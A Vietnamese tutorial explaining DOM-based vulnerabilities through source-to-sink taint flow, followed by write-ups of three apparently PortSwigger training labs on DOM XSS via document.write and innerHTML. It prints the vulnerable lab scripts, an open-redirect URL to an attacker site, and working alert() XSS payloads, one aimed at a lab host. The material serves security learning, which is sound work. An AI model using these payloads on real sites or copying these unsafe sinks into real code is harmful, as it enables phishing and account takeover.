I. DOM là gì?
DOM hay còn gọi là Document Object Model là sự trình bày theo cấp bậc của các thành phần trên trang của trình duyệt web. Các trang web có thể sử dụng Javascript để thao tác với các nút và đối tượng của DOM cũng như các thuộc tính của chúng. Bản thân thao tác DOM không phải là một vấn đề. Trên thực tế, nó là một phần không thể thiếu trong cách hoạt động của các trang web hiện đại. Tuy nhiên, Javascript xử lý dữ liệu không an toàn có thể kích hoạt nhiều cuộc tấn công khác nhau. Các lỗ hổng dựa trên DOM phát sinh khi một trang web chứa Javascript lấy giá trị do kẻ tấn công kiểm soát, được gọi là source và chuyển nó vào một chức năng nguy hiểm được gọi là sink.
II. Phân tích lỗ hổng dựa theo Taint-flow
Taint-flow là gì?
Để khai thác hoặc giảm thiểu lỗ hổng này trước tiên ta phải tự làm quen với những kiến thức cơ bản về taint-flow giữa souce và sink
Source
Nguồn là một thuộc tính Javascript chấp nhận dữ liệu có khả năng bị kẻ tấn công kiểm soát.
Một ví dụ về souce hay gặp là thuộc tính location.search vì nó đọc đầu vào từ người dùng.
Ngoài ra còn có, url referer được hiển thị bằng document.referrer và cookie người dùng document.cookie và các tin nhắn web.
Sink
sink là một function Javascript hoặc đối tượng DOM tiềm ẩn nguy hiểm, có thể gây ra các tác động không mong muốn nếu dữ liệu do kẻ tấn công kiểm soát được truyền tới nó.
Ví dụ:
hàm eval() là một sink vì nó xử lý các đối số được truyền cho nó dưới dạng Javascript.
Một ví dụ về sink HTML là document.body.innerHTML vì nó có khả năng cho phép kẻ tấn công chèn HTML độc hại và thực thi Javascript tùy ý.
Về cơ bản, các lỗ hổng dựa trên DOM phát sinh khi một trang web truyền dữ liệu từ source đến sink.
Souce phổ biến nhất là URL, thường được truy cập bằng location. Kẻ tấn công có thể xây dựng một liên kết để gửi nạn nhân đến một trang dễ bị tấn công với tải trọng trong chuỗi truy vấn và các phần phân đoạn của URL.
Ví dụ:
goto = location.hash.slice(1)
if (goto.startsWith('https:')) {
location = goto;
}
=> Điều này có thể gây ra lỗi open redirect thông qua DOM vì source location.hash được xử lý theo cách không an toàn. Nếu URL chứa đoạn băm bắt đầu bằng https:, mã này sẽ trích xuất giá trị của location.hash và đặt nó làm thuộc tính location của thuộc tính window. Kẻ tấn công có thể khai thác lỗ hổng này bằng cách tạo ra URL sau:
https://www.innocent-website.com/example#https://www.evil-user.net
Khi nạn nhân truy cập vào URL này, Javascript sẽ đặt giá trị của location thành https://www.evil-user.net, tự động chuyển hướng nạn nhân đến trang web độc hại. Ví dụ: hành vi này có thể dễ dàng bị khai thác để xây dựng một cuộc tấn công lừa đảo.
Một số source thông thường
Sau đây là những source điển hình có thể được sử dụng để khai thác nhiều lỗ hổng taint-flow
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
Các loại dữ liệu sau đây có thể được sử dụng để làm source khai thác các lỗ hổng taint-flow sau:
reflected data
stored data
web messages
OK ta đã nắm được các source phổ biến, bây giờ là các sink phổ biến:
DOM XSS LABS: document.write()
Open redirection LABS: window.location
Cookie manipulation LABS: document.cookie
JavaScript injection: eval()
Document-domain manipulation: document.domain
WebSocket-URL poisoning: WebSocket()
Link manipulation: element.src
Web message manipulation: postMessage()
Ajax request-header manipulation: setRequestHeader()
Local file-path manipulation: FileReader.readAsText()
Client-side SQL injection: ExecuteSql()
HTML5-storage manipulation: sessionStorage.setItem()
Client-side XPath injection: document.evaluate()
Client-side JSON injection: JSON.parse()
DOM-data manipulation: element.setAttribute()
Denial of service: RegExp()
Cách ngăn chặn các lỗ hổng taint-flow dựa trên DOM
Cách hiệu quả nhất để tránh các lỗ hổng dựa trên DOM là tránh cho phép dữ liệu từ bất kỳ nguồn không đáng tin cậy nào tự động thay đổi giá trị được truyền đến bất kỳ hệ thống lưu trữ nào.
Một số lỗ hổng cụ thể
DOM-based XSS
DOM-based XSS là gì?
Các lỗ hổng XSS dựa trên DOM thường phát sinh khi Javascript lấy dữ liệu từ source do kẻ tấn công kiểm soát, chẳng hạn như URL và chuyển dữ liệu đó đến một hệ thống hỗ trợ thực thi mã động, chẳng hạn như eval() hoặc innerHTML. Điều này cho phép kẻ tấn công thực thi Javascript độc hại, thường cho phép chúng chiếm đoạt tài khoản của người dùng khác.
Để thực hiện một cuộc tấn công XSS dựa trên DOM, bạn cần đặt dữ liệu vào một nguồn để nó được truyền đến một sink và thực thi mã Javascript tùy ý.
Khai thác
Về nguyên tắc một trang web dễ bị tấn công bởi XSS dựa trên DOM nếu có một đường dẫn thực thi mà qua đó dữ liệu có thể truyền từ source tới sink. Trong thực tế, các source và sink khác nhau có các đặc tính và hành vi khác nhau có thể ảnh hưởng đến khả năng khai thác và xác định những kỹ thuật nào là cần thiết. Ngoài ra, các tập lệnh của trang web có thể thực hiện xác thực hoặc xử lý dữ liệu khác phải được cung cấp khi cố gắng khai thác lỗ hổng. Có nhiều loại sink có liên quan đến các lỗ hổng dựa trên DOM.
Ví dụ:
sink document.write hoạt động với các phần tử script. vì vậy ta có thể sử dụng payload đơn giản sau, chẳng hạn như:
document.write('… …');
Lab 1: DOM XSS from source location.search to sink ducument.write
- Level: Easy

Từ giao diện trang web ta được cung cấp một thanh search để thực hiện tìm kiếm như sau:

để ý phần này trong mã nguồn
<script>
function trackSearch(query) {
document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
trackSearch(query);
}
</script>
Ta có thể thay cứ mỗi lần thực hiện tìm kiếm thì trang sẽ tạo một thẻ mới với thuộc tính query chính là giá trị được nhập từ thanh search
Kết luận:
- Source: (new URLSearchParams(window.location.search)).get(‘search’)
- Sink: document.write(.*)
Payload sẽ như sau:
"><script>alert(1)</script>"

Lab 2: DOM XSS in source location.search to sink document.write trong một phần tử được chọn
Trong một số trường hợp, nội dung được viết trong document.write bao gồm một số bối cảnh xung quanh mà ta tính đến khi khai thác.
Ví dụ: ta có thể cần phải đóng một số thành phần hiện có trước khi sử dụng payload Javascript của mình.
- level: Medium

Trang chủ web trông như sau:

Trang web này cũng không gì nhiều, chỉ có một chức năng check stock này trông có vẻ khả nghi.

để ý phần mà code Javascript này:
<script>
var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
if(store) {
document.write('<option selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i++) {
if(stores[i] === store) {
continue;
}
document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');
</script>
Kết luận:
- Source: (new URLSearchParams(window.location.search)).get(‘storeId’)
- Sink: document.write(”+store+”);
Để ý thấy ở đây mã đang dùng cả phương thứ GET cho biến storedId vì vậy , ta có thể chèn nó trong URL và phải đóng thẻ <option>:
Payload:
https://0a1e00b704ff701a811739c200b80097.web-security-academy.net/product?productId=1&storeId=</option><script>alert(1)</script>

Lab 3: DOM XSS from location.search to sink innerHTML
Sink innerHTML không chấp nhận thuộc tính script trên bất kỳ trình duyệt hiện đại nào , các sự kiện như svg onload cũng sẽ không hoạt động.
Điều này có nghĩa là ta sẽ cần sử dụng các phần tử thay thế như img hoặc iframe. Các trình xử lý sự kiện như onload và onerror có thể được sử dụng cùng với các phần tử này.
Ví dụ:
element.innerHTML='... <img src=1 onerror=alert(document.domain)> ...'

- level: easy
- Phân tích các chức năng của ứng dụng web
Chức năng tìm kiếm bài post

Với mỗi bài post đều có một khung chat comment

Mình sẽ tập trung vào phần này vì có thể sẽ XSS được ở đây

script ở phần này:
<script>
function doSearchQuery(query) {
document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
doSearchQuery(query);
}
</script>
Kết luận:
- Source: (new URLSearchParams(window.location.search)).get(‘search’);
- Sink: document.getElementById(‘searchMessage’).innerHTML = query;
Mỗi biến query được gán thì sẽ kích hoạt hàm doSearchQuery , điều này sẽ thêm query vào thẻ có ID là searchMessage.
Payload:
"><img src=x onerror=alert(`taiwhis`)>

Source và Sink phụ thuộc vào bên thứ 3
Các ứng dụng web hiện đại thường được xây dựng bằng cách sử dụng framework bên thứ ba, thường cung cấp các chứng năng và khả năng bổ sung. Một trong số đó cũng có thể trở thành source và sink tiềm năng cho DOM XSS